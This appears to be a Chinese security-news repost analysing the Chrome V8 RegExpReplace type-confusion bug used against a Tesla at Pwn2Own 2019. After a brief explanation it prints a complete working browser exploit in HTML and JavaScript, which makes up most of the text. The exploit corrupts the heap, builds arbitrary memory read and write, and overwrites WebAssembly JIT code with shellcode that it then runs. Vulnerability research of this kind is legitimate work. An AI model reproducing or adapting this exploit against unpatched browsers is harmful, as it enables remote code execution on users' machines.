在 Pwn2Own 2019 大会上,研究人员 Richard Zhu 和 Amat Cama (Team Fluoroacetate) 利用 Chrome 浏览器v8引擎漏洞攻破了特斯拉。本文对该漏洞进行了简要分析,并提供利用供研究之用。
简要分析
V8_WARN_UNUSED_RESULT MaybeHandle<String> RegExpReplace(Isolate* isolate, Handle<JSRegExp> regexp, Handle<String> string,Handle<Object> replace_obj) {// Functional fast-paths are dispatched directly by replace builtin.DCHECK(RegExpUtils::IsUnmodifiedRegExp(isolate, regexp));DCHECK(!replace_obj->IsCallable());Factory* factory = isolate->factory();const int flags = regexp->GetFlags();const bool global = (flags & JSRegExp::kGlobal) != 0;const bool sticky = (flags & JSRegExp::kSticky) != 0;Handle<String> replace;ASSIGN_RETURN_ON_EXCEPTION(isolate, replace,Object::ToString(isolate, replace_obj), String);replace = String::Flatten(isolate, replace);
RegExpReplace期望传入的regexp对象是未修改的正则表达式,但对Object::ToString的调用更改了该正则表达式的类型。这就导致OOB 读取和写入regexp.lastIndex。
为了利用这个漏洞,研究人员在KeyAccumulator::GetKeys中覆写了keys对象的映射。它会引发堆溢出,从而破坏堆上的数组。这就提供了堆 r/w,从而破坏了 arb r/w 的 TypedArray。之后研究人员用 shellcode 覆写了 JIT 代码。
利用
<!DOCTYPE html><htmllang="en"><head><metacharset="utf-8"/><script>functionprint(x){ document.write("<p><font size=50>"+x+"</font></p>"); }functiongo(){functionljust(x, n, c){ while (x.length < n) x = c+x; return x; }functionrjust(x, n, c){ x += c.repeat(n); return x; }functionclone64(x){ return [x[0],x[1]]; }functiontohex64(x){ return"0x"+ljust(x[1].toString(16),8,"0")+ljust(x[0].toString(16),8,"0"); }var CONVERSION = newArrayBuffer(8); var CONVERSION_U32 = newUint32Array(CONVERSION); var CONVERSION_F64 = newFloat64Array(CONVERSION);functionu32_to_f64(u){ CONVERSION_U32[0] = u[0]; CONVERSION_U32[1] = u[1]; return CONVERSION_F64[0]; }functionf64_to_u32(f, b=0){ CONVERSION_F64[0] = f; if (b) return CONVERSION_U32; returnnewUint32Array(CONVERSION_U32); }functionfail(msg){ print(msg); document.location.reload(true); throw msg; }functiongc(){ for (let i=0;i<0x10;i++) newArrayBuffer(0x800000); }wasm_bytes = newUint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 1, 127, 0, 96, 0, 0, 2, 25, 1, 7, 105, 109, 112, 111, 114, 116, 115, 13, 105, 109, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 0, 3, 2, 1, 1, 7, 17, 1, 13, 101, 120, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 1, 10, 8, 1, 6, 0, 65, 42, 16, 0, 11]);wasm_inst = new WebAssembly.Instance(new WebAssembly.Module(wasm_bytes), {imports: {imported_func: function(x){ return x; }}});wasm_func = wasm_inst.exports.exported_func;functionto_dict(obj){obj.__defineGetter__("x",()=>2);obj.__defineGetter__("x",()=>2);}rgx = null;dbl_arr = [1.1, 2.2, 3.3, 4.4];o = {};o.__defineGetter__("length", ()=>{rgx = newRegExp(/AAAAAAAA/y);return2;});o[0] = "aaaa";o.__defineGetter__(1, ()=>{for (let i=0;i<8;i++) dbl_arr.push(5.5);let cnt = 0;rgx[Symbol.replace]("AAAAAAAA", {toString: ()=>{cnt++;if (cnt == 2){rgx.lastIndex = {valueOf: ()=>{to_dict(rgx);gc();return0;}};}return"BBBB$";}});return"bbbb";});p = newProxy({}, {ownKeys: function(target){return o;},getOwnPropertyDescriptor(target, prop) {return { configurable: true, enumerable: true, value: 5 };}});Object.keys(p);if (dbl_arr[0] == 1.1){fail("failed to corrupt dbl_arr");}for (let i=0;i<0x800;i++)dbl_arr.push(0.0);let obj_arr_elem_off = -1;let obj_arr_tag = 0xbabe;let obj_arr_tag_smi_float = u32_to_f64([0, obj_arr_tag]);let obj_arr = null;for (let tries=1;tries<=4;tries++){obj_arr = newArray(0x80).fill("x");for (let i=0;i<4;i++)obj_arr[i] = obj_arr_tag;for (let i=0;i<dbl_arr.length;i++){if (dbl_arr[i] == obj_arr_tag_smi_float &&dbl_arr[i+1] == obj_arr_tag_smi_float &&dbl_arr[i+2] == obj_arr_tag_smi_float &&dbl_arr[i+3] == obj_arr_tag_smi_float){obj_arr_elem_off = i;break;}}if (obj_arr_elem_off >= 0){break;}}if (obj_arr_elem_off < 0){fail("failed to find obj_arr_elem_off");}let obj_arr_off = obj_arr_elem_off - 8;functionleak_addr_float(x){obj_arr[0] = x;return dbl_arr[obj_arr_elem_off];}functionleak_addr(x){return f64_to_u32(leak_addr_float(x));}let obj_arr_elem_addr = f64_to_u32(dbl_arr[obj_arr_elem_off - 6]);let dbl_arr_elem_addr = clone64(obj_arr_elem_addr); dbl_arr_elem_addr[0] -= (obj_arr_elem_off * 8 - 0x10);let obj_arr_addr = clone64(obj_arr_elem_addr); obj_arr_addr[0] -= 0x30;functiondbl_arr_idx_for_addr(x){v = clone64(x);v[0] -= dbl_arr_elem_addr[0];if (v[0] < 0){v[0] += 0x100000000;v[1] -= 1;}return v[0] / 8;}let ua = newUint32Array(0x1000);ua[0] = 0x41414141;ua[1] = 0x42424242;let ua_addr = leak_addr(ua);let tmp, tmp_idx;tmp_idx = dbl_arr_idx_for_addr(ua_addr);tmp = f64_to_u32(dbl_arr[tmp_idx+2]);tmp_idx = dbl_arr_idx_for_addr(tmp);let ua_store_idx = tmp_idx + 3;functionr32(addr){dbl_arr[ua_store_idx] = u32_to_f64(addr);return ua[0];}functionr64(addr){dbl_arr[ua_store_idx] = u32_to_f64(addr);return [ua[0], ua[1]];}functionw32(addr, v){dbl_arr[ua_store_idx] = u32_to_f64(addr);ua[0] = v;}functionw64(addr, v){dbl_arr[ua_store_idx] = u32_to_f64(addr);ua[0] = v[0];ua[1] = v[1];}tmp = leak_addr(wasm_func);tmp[0] += 0x18 - 1; tmp = r64(tmp);tmp[0] += 8 - 1; tmp = r64(tmp);let tmp_clone = clone64(tmp);tmp[0] += 0x10 - 1; tmp = r64(tmp);tmp[0] += 0xe8 - 1;let jit_page = r64(tmp);tmp = tmp_clone; tmp[0] += 0x1c - 1;let jit_off = r32(tmp);let jit_addr = clone64(jit_page);jit_addr[0] += jit_off;let jit_ptr = clone64(jit_addr);let sc = [0x314800eb, 0xff3148c0, 0x48f63148, 0x3148d231, 0xec8148c9, 0x100, 0x48c03148, 0x143d8d, 0x3fb00000, 0x8348050f, 0x87500f8, 0xc48148, 0xc3000001, 0x622ffeeb, 0x732f6e69, 0x90909068];for (let i = 0; i < sc.length;i++){w32(jit_ptr, sc[i]);jit_ptr[0] += 4;}wasm_func();let jit_ptr2 = clone64(jit_addr);jit_ptr2[0] += sc.length * 4;let leaked = "";for (let i = sc.length; i < sc.length + 0x40; i++){let tmp = r32(jit_ptr2);if (tmp != 0){for (let j = 0; j < 4; j++){if ((tmp & 0xff) != 0)leaked += String.fromCharCode(tmp & 0xff);tmp >>= 8;}}jit_ptr2[0] += 4;}while (1){alert("pwned by fluoroacetate "+leaked);prompt("pwned by fluoroacetate", leaked);}}functionmain(){try { go(); } catch(e){ alert(e); }}</script></head><bodyonload = "main()"></body></html>
原文链接
https://bugs.chromium.org/p/chromium/issues/detail?id=944971#c1
声明:本文来自代码卫士,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。